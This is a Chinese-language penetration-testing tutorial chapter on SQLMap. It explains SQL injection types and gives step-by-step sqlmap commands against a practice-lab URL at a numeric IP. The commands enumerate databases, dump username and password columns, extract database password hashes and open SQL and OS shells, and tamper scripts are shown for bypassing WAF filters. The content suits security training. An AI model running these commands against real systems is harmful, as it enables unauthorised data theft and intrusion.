第3章 常用的渗透测试工具
3.1 SQLMap详解
SQLMap采用了五种独特的SQL注入技术:
- 基于布尔类型的盲注,可以根据返回页面 判断 条件真假 的注入
- 基于时间的盲注,不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已执行(即页面返回时间是否增加)来判断
- 基于报错注入,页面会返回错误信息,或者把注入的语句的结果直接返回到页面中
- 联合查询注入,在可以使用Union的情况下的注入
- 堆查询注入,可以同时执行多条语句时的注入
3.1.2 SQLMap入门
1.判断是否存在着注入点
假设目标注入点为:http://43.247.91.228:84/Less-1/?id=3,判断其是否存在注入点的命令如下:
sqlmap -u http://43.247.91.228:84/Less-1/?id=3
当注入点后面>=2个参数时,加双引号
sqlmap -u "http://43.247.91.228:84/Less-1/?id=3&uid=2"
2.判断文本中的请求是否存在注入
命令如下:
sqlmap -r FilePath
3.查询当前用户下的所有数据库
该命令是确定网站存在注入后,用于查询当前用户下的所有数据库;如果当前用户有权限读取包含所有数据库列表信息的表,则可以列出所有数据库。
sqlmap -u http://43.247.91.228:84/Less-1/?id=3 --dbs
此处查出5张表。
若继续注入,--dbs缩写成-D xxx,意思是在xxx数据库中查询其他数据。
4.获取数据库中的表名 (不加入-D则会显示所有)
sqlmap -u http://43.247.91.228:84/Less-1/?id=3 -D security --tables
若继续注入,--tables缩写成-T,意思是在某表中继续查询
5.获取表中的字段名
sqlmap -u http://43.247.91.228:84/Less-1/?id=3 -D security -T users --columns
若继续注入,--columns缩写成-C
6.获取字段内容
sqlmap -u http://43.247.91.228:84/Less-1/?id=3 -D security -T users -C username,passowrd --dump
7.获取数据库的所有用户
sqlmap -u http://43.247.91.228:84/Less-1/?id=3 --users
8.获取数据库用户的密码
sqlmap -u "http://43.247.91.228:84/Less-1/?id=3" --passwords
9.获取当前网站数据库的名称
sqlmap -u "http://43.247.91.228:84/Less-1/?id=3" --current-db
10.获取当前网站数据库的用户名称
sqlmap -u "http://43.247.91.228:84/Less-1/?id=3" --current-user
3.1.3 SQLMap进阶:参数讲解
- --level 5 :探测等级,默认为1级,5级包含的payload最多,运行速度也比较慢
- --is-dba :当前用户是否为管理员权限
- --roles:列出数据库管理员角色,也可用-U参数指定想看哪个用户的角色
- --refer:Http Refer头,可以在请求中伪造HTTP的refer,当参数设置>=3时,会尝试对refer注入;也可使用refer命令来欺骗,如--refer http://www.baidu.com
- --sql-shell:运行自定义sql语句
sqlmap -u "http://43.247.91.228:84/Less-1/?id=3" --sql-shell
- --os-cmd,--os-shell:运行任意操作系统命令
- --file-read:从数据库服务器中读取文件
- --file-write --file-dest:上传文件到数据库服务器
3.1.4 SQLMap自带绕过脚本tamper的讲解
可以使用--tamper参数对数据做修改来绕过WAF等设备,其中大部分脚本主要用正则模块替换攻击载荷字符编码的方式尝试绕过WAF的检测规则,命令如下:sqlmap xxxx --tamper "模块名"。目前官方提供53个绕过脚本,下面是脚本格式:
#sqlmap/tamper/escapequotes.py
#基本格式
from lib.core.enums import PRIORITY
_priority_=PRIORITY.LOWEST #变量定义
def dependencies(): #函数定义
pass
def tamper(payload,**kwargs):
return payload.replace("'","\\'").replace('"','\\"')
priority定义脚本的优先级,用于有多个tamper脚本的情况;dependencies函数声明该脚本适用/不适用的范围,可空。
一些常用的tamper脚本:
- apostrophemask.py:将引号替换为UTF-8,用于过滤单引号
- base64encode.py:替换为base64编码
- multiplespaces.py:围绕SQL关键字添加多个空格
- space2plus.py:+号替换空格
- non recursive replacement.py:用双重语句替代预定义的SQL关键字
- between.py:用NOT BETWEEN 0 AND 替换大于号(>),用BETWEEN AND替换(=),eg:1 AND A>B-- 1 AND A NOT BETWEEN 0 AND B
- randomcase.py:随机大小写。INSERT InseRt
- space2comment.py:空格替换为/**/
- equaltolike.py:等号替换为like